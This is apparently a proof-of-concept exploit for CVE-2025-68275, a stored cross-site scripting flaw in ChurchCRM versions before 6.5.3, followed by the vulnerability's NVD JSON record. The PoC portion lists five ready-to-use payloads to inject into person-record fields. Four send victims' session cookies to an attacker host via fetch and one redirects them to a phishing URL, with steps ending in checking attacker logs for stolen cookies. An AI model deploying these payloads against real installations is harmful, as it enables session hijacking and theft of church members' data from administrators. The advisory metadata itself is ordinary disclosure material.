CVE-2025-68275

// CVE-2025-68275 Stored XSS PoC for ChurchCRM // Target: ChurchCRM < 6.5.3 // Affected Pages: View Active People, View Inactive People, View All People // Step 1: Login to ChurchCRM with high privilege account // Step 2: Navigate to Person Management -> Add New Person or Edit existing person // Step 3: Inject XSS payload in any text field (e.g., First Name, Last Name, Address) // Example XSS Payloads: // Basic Cookie Stealer var xssPayload1 = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Image Tag Based XSS (bypasses some filters) var xssPayload2 = '<img src=x onerror="fetch(\'https://attacker.com/log?data=\'+btoa(document.cookie))">'; // SVG Based XSS var xssPayload3 = '<svg/onload=fetch("https://attacker.com/steal?"+btoa(document.cookie))>'; // Event Handler Based XSS (requires user interaction) var xssPayload4 = '<a href="#" onmouseover="fetch(\'https://attacker.com/log?data=\'+btoa(document.cookie))">Hover me</a>'; // DOM Manipulation Payload var xssPayload5 = '<script>document.location="https://attacker.com/phish?redirect="+document.URL</script>'; // To test: // 1. Submit the payload through the person form // 2. Wait for admin/user to view the person list // 3. Check attacker server logs for stolen cookies/sensitive data

{"cve": {"id": "CVE-2025-68275", "sourceIdentifier": "[email protected]", "published": "2025-12-17T22:16:01.923", "lastModified": "2025-12-18T18:27:40.170", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChurchCRM is an open-source church management system. Versions prior to 6.5.3 have a stored cross-site scripting vulnerability on the pages `View Active People`, `View Inactive people`, and `View All People`. Version 6.5.3 fixes the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.5.3", "matchCriteriaId": "5B1435CA-1370-4154-85E0-6AF1846DEEBD"}]}]}], "references": [{"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-3q97-q4hv-gxwr", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-3q97-q4hv-gxwr", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}